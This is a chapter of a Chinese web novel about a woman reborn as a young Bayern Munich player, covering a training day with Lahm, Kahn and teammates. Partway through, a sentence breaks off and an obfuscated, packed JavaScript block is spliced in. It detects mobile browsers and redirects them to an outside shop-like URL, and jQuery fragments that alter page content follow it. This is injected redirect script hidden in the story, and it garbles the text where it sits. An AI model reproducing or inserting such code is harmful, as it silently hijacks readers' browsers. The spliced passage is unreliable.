早晨七点的慕尼黑，天还没完全亮。
里斯被手机闹钟吵醒的时候，第一反应是：我居然睡着了。
第二反应是：我居然睡得这么好。
作为一个刚死过一回的人，她以为自己会失眠，会辗转反侧，会盯着天花板思考人生直到天亮。结果脑袋刚挨上枕头就昏死过去，再睁眼已经是六个小时后——连梦都没做一个。
“这身体，”她坐起来，感受着四肢百骸传来的充沛精力，“真好骗。”
明明灵魂在崩溃，身体却自顾自地睡了个饱觉。
洗漱的时候她又照了照镜子。镜子里的人头发有点乱，丸子头散了一半，姜黄色的碎发贴在脸上，看起来像是刚被蹂躏过。她用手指梳了梳，发现这头发的质地意外地好打理——随便抓两下就恢复了造型。
“捏脸的时候连发质都设定过吗？”她自言自语，“我当时是有多闲……”
答案是：真的很闲。
换好衣服，她拿起sonny送来的那份资料，又翻了一遍。今天得记住更多东西——队友的名字、位置、大概的性格、和她“本来”的关系。虽然sonny说慢慢来，但她总不能在训练的时候指着巴拉克问“你叫什么名字”。
那也太离谱了。
出门前，她对着门口的镜子做了个表情管理练习。
微笑——可以。
严肃——可以。
疑惑——可以。
震惊——先不用。
“OK，”她对着镜子点点头，“里斯·沃勒，今天也是正常的一天。”
然后推开门，发现门外站着一个人。
菲利普·拉姆。
两个人四目相对，都愣住了。
“……菲利普？”里斯的大脑飞速运转。他为什么在这里？他家住这附近？他是来找我的？来找我干什么？我昨天露馅了？
拉姆的表情也有点微妙，但他很快调整过来，露出一个礼貌的微笑：“早上好。我想着你刚搬来不久，可能不知道训练基地的班车点在哪，就过来叫你一起走。”
里斯的内心：班车点？还有班车点？我怎么不知道！
里斯的脸上：愣了一下，然后点头：“啊，对，我正打算出门。”
拉姆打量了她一眼：“你准备好走了？”
“准备好了。”
“包呢？”
“……包？”
拉姆的视线移向她空空的双手，又移回她的脸，眼神里带着一种“果然如此”的了然。
“你的训练包。”他说，“球鞋、护腿板、换洗衣服、水壶——你打算空手去训练？”
里斯：…………
完了。
她完全忘了这回事。职业球员训练是要带装备的！不是空着手去球场然后凭空变出球鞋！
“我，”她的大脑疯狂运转，“我是想先出来看看你到了没，包在屋里。”
说完转身回屋，动作流畅得像是真的那么计划的一样。
关上门的那一瞬间，她靠在门板上，无声地尖叫了三秒。
然后疯狂翻找——训练包在哪？训练包在哪？
好在肌肉记忆再次发挥了作用。她的手不受控制地拉开衣柜，从里面拎出一个黑色的运动包，拉开拉链——里面整整齐齐地放着所有需要的东西。球鞋、护腿板、水壶、毛巾、换洗的衣服，甚至还有一条能量棒。
她深吸一口气，背上包，重新打开门。
拉姆还在门口，表情看不出任何异样。
“走吧。”里斯努力让自己的声音听起来正常。
两个人并肩走在慕尼黑的街道上。天边刚泛起鱼肚白，空气冷得能看见呼出的白气。里斯的耳朵冻得有点疼，但她不敢表现出来——旁边这个21岁的年轻人走得四平八稳，仿佛零下五度的天气对他毫无影响。
“你昨天，”拉姆开口了，语气很随意，“头被砸那下，真的没事？”
来了。
里斯早有准备。sonny的资料里说了，拉姆心细如发，什么都逃不过他的眼睛。所以她不能否认，也不能表现得太紧张。
“没事。”她说，“就是有点懵，今天已经好了。”
“那就好。”拉姆点点头，“巴斯蒂安昨天还说你不对劲，抱着球亲。”
里斯：…………
“那是，”她艰难地解释，“那是……我在感受球。”
“感受球？”
“对。就是……感受它的触感，它的重量，它的……”她编不下去了。
拉姆沉默了两秒，然后说：“你以前不这样的。”
“以前的我，”里斯斟酌着措辞，“可能太紧绷了。昨天被砸那一下，反而让我想通了一些事。”
“什么事？”
“比如，”她看着远处的天空，“能踢球本身就是一件值得高兴的事。不用想太多，踢就行了。”
拉姆侧过头看了她一眼。
那一眼很轻，但里斯莫名觉得被看穿了。
“也是。”拉姆收回视线，“那你继续保持。队里需要有人高兴。”
说完这句话，他加快了一点脚步。
里斯跟在后面，心里七上八下。
这话是什么意思？是信了还是没信？是接受了还是只是在观察？
她不知道。但她知道一件事：这个看起来小小的年轻人，比她想象的更难对付。
班车点已经到了。几个年轻球员站在那里，看到拉姆和里斯一起走过来，都露出了一点微妙的表情。
“哟，”其中一个开口，是小猪，“你们俩怎么一起来的？”
“顺路。”拉姆说。
“他家和我家顺路？”小猪挑眉，“我怎么不知道？”
“因为你不住那边。”
小猪噎住了。
旁边几个人笑起来，气氛轻松了一点。里斯趁机观察——除了小猪，还有两个年轻人，看起来也是青训上来的，脸有点熟但叫不出名字。
她默默把他们的脸记住，准备回去翻资料。
班车很快来了。一行人上车，里斯找了个靠窗的位置坐下。拉姆坐在她前面一排，小猪一屁股坐在她旁边。
“所以，”小猪压低声音，“你真没被砸坏？”
“没有。”
“那你怎么昨天抱着球亲？”
“我在感受球。”
小猪愣了一下，然后爆发出大笑：“感受球！哈哈哈哈哈！菲利普你听到了吗！他说他在感受球！”
全车人都看了过来。
里斯：……
拉姆回过头，用一种“我提醒过你”的眼神看了她一眼，然后转回去。
里斯把脸转向窗外，假装自己在欣赏慕尼黑的街景。
慕尼黑的街景很漂亮。
她决定专心看街景。
训练基地很快到了。
下车的时候，里斯注意到停车场里已经停了不少车。其中一辆黑色的奥迪格外显眼——不是因为车本身，而是因为从车上下来的人。
米夏埃尔·巴拉克。
他下车的时候，整个停车场的空气好像都凝固了一秒。不是夸张，是真的有几个年轻球员的动作顿了一下。
里斯也顿了一下。
不是因为害怕，是因为——这人气场真的强。
28岁，正值巅峰，站在那里就是一副“我是核心”的样子。他穿着简单的运动外套，背着一个黑色的训练包，走路的时候目不斜视，仿佛周围的一切都不值得他分心。
“别发呆。”拉姆的声音从旁边传来，“进去了。”
里斯回过神，跟着大部队往里走。
经过巴拉克身边的时候，她下意识地点了点头。巴拉克也点了点头，算是回应，然后继续往前走。
就这？
就这。
里斯松了口气。看来sonny说得对，目前她还不是巴拉克的威胁，所以人家根本不会多看她一眼。
——这反而让她更清醒地意识到自己的位置。
20岁，刚升上一线队，替补席的边缘人。和巴拉克这种核心比起来，她什么都不是。
不过没关系。
她本来就是从什么都不是开始的。
训练开始了。
今天的项目和昨天不太一样——更多的是战术演练和分组对抗。教练把球员分成两组，穿不同颜色的背心，打半场的对抗赛。
里斯被分在替补组。
和她一组的还有小猪、几个年轻球员，以及——哈格里夫斯。
站在场上，里斯快速地回忆资料：欧文·哈格里夫斯，24岁，中场，能跑能抢，多面手。和她不算熟，也没什么矛盾。
很好。保持距离就行。
比赛开始。
主力组那边有巴拉克、马凯、萨利哈米季奇，进攻火力很猛。替补组这边明显处于劣势，开场五分钟就被压在半场出不来球。
“沃勒！”哈格里夫斯喊了一声，把球传过来。
里斯接球，抬头，面前是巴拉克。
她的大脑瞬间空白了半秒，但身体比她反应更快——一个假动作，向左虚晃，然后向右拨球，从巴拉克身边抹了过去。
过了？
过了！
里斯自己都惊了，但没时间惊讶，因为前面还有一个人——卢西奥。巴西后卫正朝她冲过来，眼神里写着“你想过去？”
里斯没有硬来。她把球分给了右边插上的小猪，然后自己往前跑。
小猪接球，看了一眼，又把球传回给她。
二过一。
里斯接到球的时候，已经进了禁区。面前只剩下门将——伦辛，卡恩的替补。
她起脚，射门——
球进了。
“漂亮！”小猪跑过来拍了她一下，“这配合可以啊！”
里斯站在原地，有点懵。
她刚才……过掉了巴拉克，和施魏因施泰格做了个二过一，然后进球了？
这身体真的可以。
场边，卡恩抱着手臂看着这边，脸上没什么表情，但也没有骂人。
教练在战术板上记了什么，然后喊：“继续！”
接下来的对抗赛，里斯的表现越来越好。
不是因为她突然变强了，而是因为她发现了一个秘密：
这身体的肌肉记忆，比她想象的要强得多。
她不需要思考怎么跑位——身体会自动跑到该去的地方。她不需要思考怎么传球——脚下的球会自动传到队友的脚下。她甚至不需要思考怎么防守——只要往那一站，腿
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17271609|198125||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
就会自动伸出去拦截。
这感觉就像……就像开了一辆顶级跑车。她不用懂发动机原理，只要握住方向盘，踩下油门，车就会自己跑起来。
当然，偶尔也会翻车。
比如有一次，她想做一个漂亮的挑球过人，结果挑高了，球直接飞出了边线。
比如另一次，她想模仿齐达内的马赛回旋，结果转到一半差点摔倒。
但这些都不重要。
重要的是——她能踢。
对抗赛结束后，教练把所有人召集起来，简单总结了几句。然后宣布明天的安排：上午战术课，下午恢复性训练，后天有一场友谊赛。
友谊赛？
里斯竖起耳朵。
“对手是维也纳快速。”教练说，“大名单明天公布。都回去好好准备。”
解散后，小猪凑过来：“嘿，你今天的表现可以啊，说不定能进大名单。”
“不一定吧。”里斯说，“我才刚上一线队……”
“你都在一线队两个月了，”小猪一脸古怪地看着她，“说什么刚上？”
里斯：…………
对，她现在不是刚上，是已经上了两个月。
她差点又露馅。
“我是说，”她艰难地圆回来，“我才刚……适应。”
“那你适应得挺快的。”小猪拍拍她的肩膀，“继续保持感受球！”
说完大笑着跑了。
里斯站在原地，面无表情。
这个梗是过不去了是吧。
更衣室里，队友们三三两两地换衣服、洗澡、聊天。里斯坐在自己的柜子前，慢慢解开鞋带。
旁边坐着哈格里夫斯。
两个人沉默地换着衣服，谁也没说话。
过了一会儿，哈格里夫斯突然开口：“今天那个二过一，传得不错。”
里斯愣了一下，转头看他。
哈格里夫斯没有看她，还在低头系鞋带，语气也很平淡，好像只是随口一说。
“……谢谢。”里斯说。
“嗯。”
然后又是沉默。
但这一次，沉默里多了一点别的东西。
里斯突然意识到一件事：这个队里，不是只有她一个人不会社交。
哈格里夫斯——24岁，英格兰人，在德国踢球，母队拜仁，能跑能抢，多面手。资料上说他“和你不算熟”，但也许不是不想熟，而是不知道怎么熟。
就像她一样。
“那个，”她开口，“你明天……”
话没说完，更衣室的门突然被推开。
卡恩走进来，扫了一眼，目光落在里斯身上。
“沃勒。”
里斯本能地坐直了：“是。”
“明天战术课之后，加练射门。”
“……是？”
卡恩没再多说，转身走了。
更衣室里安静了一秒，然后小猪的声音从角落传来：“恭喜啊，被盯上了。”
“这是恭喜？”
“当然，”小猪走过来，一脸过来人的表情，“卡恩看得上的人才加练。他看不上的人，他连骂都懒得骂。”
里斯沉默了一下。
“那我是不是该高兴？”
“你可以高兴，”小猪拍拍她的肩，“在射门练好之前。”
里斯：……
更衣室里响起稀稀拉拉的笑声。
拉姆从另一边走过来，经过她身边的时候，轻轻说了一句：“今天感受球的效果不错，明天继续。”
说完就走了，留下里斯一个人愣在原地。
这话听着像夸她，但为什么总觉得有哪里不对？
晚上回到公寓，里斯又翻出了sonny的资料。
今天她记住了几个新名字：哈格里夫斯、卢西奥、伦辛。还确认了几件事：拉姆比她想象的精，小猪比她想象的闹，卡恩比她想象的不讲理，巴拉克比她想象的……不把她放在眼里。
最后一件事是好消息。
至少现在不用应付核心球员的审视。
她翻开资料最后一页，sonny的纸条还贴在那里。
“你很优秀。不然我不会签你，不然拜仁不会留你。所以别慌，慢慢来。”
今天她进了球，过了巴拉克，和小猪做了二过一，和哈格里夫斯说了第一句话，被卡恩点名加练。
这些都是好的开始。
但她也知道，真正的考验还没来。
后天有友谊赛。如果进了大名单，她就要第一次在观众面前踢球。虽然不是正式比赛，但那是她第一次以“里斯·沃勒”的身份出现在球场上。
她紧张吗？
有一点。
但更多的是……期待。
窗外，慕尼黑的夜色依旧安静。远处的安联球场轮廓在月光下若隐若现，像一个沉默的巨人，等待着未来的主人。
里斯合上资料，站起来，走到窗边。
“后天，”她对着窗户上的倒影说，“让我看看你能跑多快。”
镜子里的年轻人回望着她，灰瞳仁里有一点光。
那是她写的眼睛。
那是她写的脸。
那是她写的身体。
但现在，站在这里的，是她自己。